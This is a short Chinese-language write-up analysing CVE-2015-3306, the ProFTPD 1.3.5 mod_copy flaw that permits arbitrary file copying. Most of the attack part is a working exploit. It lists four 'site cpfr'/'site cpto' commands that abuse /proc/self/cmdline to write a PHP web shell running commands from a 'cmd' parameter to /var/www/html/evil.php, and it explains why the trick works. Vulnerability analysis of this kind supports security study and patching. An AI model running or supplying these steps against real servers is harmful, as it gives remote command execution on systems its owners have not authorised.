CVE-2015-3306 浅析

ProFTPD 1.3.5 mod_copy RCE

该漏洞的描述如下

1
2
The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
ProFTPD 1.3.5中的mod_copy模块允许远程入侵者通过site cpfr和site cpto命令进行任意文件读写

基于任意文件读写的操作,可以将目标机器上的一些敏感信息文件拷贝至可访问路径(WEB路径/SMB路径/etc.)来进行读取

甚至可以进行写入WebShell的操作,操作如下

1
2
3
4
site cpfr /proc/self/cmdline
site cpto /var/www/html/<?php system($_GET["cmd"]);?>.php
site cpfr /var/www/html/<?php system($_GET["cmd"]);?>.php
site cpto /var/www/html/evil.php

/proc/[pid]/cmdline

  • /proc/[pid]/cmdline
    This read-only file holds the complete command line for theprocess, unless the process is a zombie.

进程在执行命令之前会从该文件获取命令,所以ftp进程在执行 site cpto /var/www/html/<?php system($_GET["cmd"]);?>.php
/proc/self/cmdline 中的内容已经变成了 10.100.120.31:57420: SITE cpto /var/www/html/<?php system($_GET["cmd"]);?>.php
即拷贝这段内容至 /var/www/html/<?php system($_GET["cmd"]);?>.php
后面两条命令的操作即为修改文件名
即可以使用该漏洞来进行WebShell的写入操作